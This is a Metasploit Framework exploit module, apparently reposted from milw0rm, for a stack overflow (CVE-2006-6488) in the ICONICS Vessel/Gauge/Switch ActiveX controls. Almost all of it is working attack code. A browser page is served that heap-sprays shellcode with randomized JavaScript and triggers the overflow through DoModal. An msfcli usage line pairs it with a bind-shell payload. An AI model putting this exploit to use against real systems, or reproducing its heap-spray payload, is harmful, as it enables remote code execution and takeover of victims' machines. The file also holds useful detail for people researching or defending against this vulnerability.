##
# $Id: iconics_dlgwrapper.rb 1 2008-09-21 22:43:00Z kf $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
#
# $ msfcli exploit/windows/browser/iconics_dlgwrapper RHOST=10.211.55.6 PAYLOAD=windows/shell_bind_tcp E
require 'msf/core'
module Msf
class Exploits::Windows::Browser::Iconics_Dlgwrapper < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'ICONICS Vessel / Gauge / Switch 8.02.140 ActiveX DoModal Overflow',
'Description' => %q{
This module exploits a stack overflow in the Iconics Vessel / Gauge / Switch ActiveX controls
},
'License' => MSF_LICENSE,
'Author' => [ 'tebo', 'kf' ],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'URL', 'http://www.kb.cert.org/vuls/id/251969' ],
[ 'URL', 'https://www.securityfocus.com/bid/21849/info' ],
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6488' ],
[ 'URL', 'http://www.iconics.com/support/free_tools/FreeToolsActiveX_DlgWrapperHotFix.zip' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# This most likely works with Switch and Gauge ActiveX controls as well
# Thanks for the target testing tebo. Verified on 2kSP4, XPSP0, XPSP2, XPSP3
[ 'ICONICS Vessel ActiveX 8.02.140 - Universal EIP hit', { 'Payload' => { 'Space' => 412 } } ],
],
'DisclosureDate' => 'Jan 10 2007',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Randomize the javascript variable names
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
rand9 = rand_text_alpha(rand(100) + 1)
rand10 = Rex::Text.to_unescape(rand_text_alpha(1), Rex::Arch.endian(target.arch))
idname = "DlgWrapper"
targetname = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object classid='clsid:9d6bd878-b8eb-47e5-ab1c-87d74173baa' id='#{idname}'></object>
<script language='javascript'>
// begin skylined technique - use the common MSF randomized version.
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape("%u0d0d%u0d0d"); // unicode nops....
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} };
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < #{payload_space}; #{var_i}++) { #{rand8} = #{rand8} + unescape("#{rand10}") };
#{rand8} = #{rand8} + unescape("%0c%0c%0c%0c"); // Return address for the heap sprayed nop sled
var #{targetname} = new ActiveXObject("#{idname}.BrowseFile.1");
#{targetname}.DoModal(#{rand8},"#{rand9}"); // Trigger line
</script>
</html>
|
print_status("Note: The free ActiveX Controls (Gauge, Switch & Vessel) have a hotfix available.")
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
end
# milw0rm.com [2008-09-25]
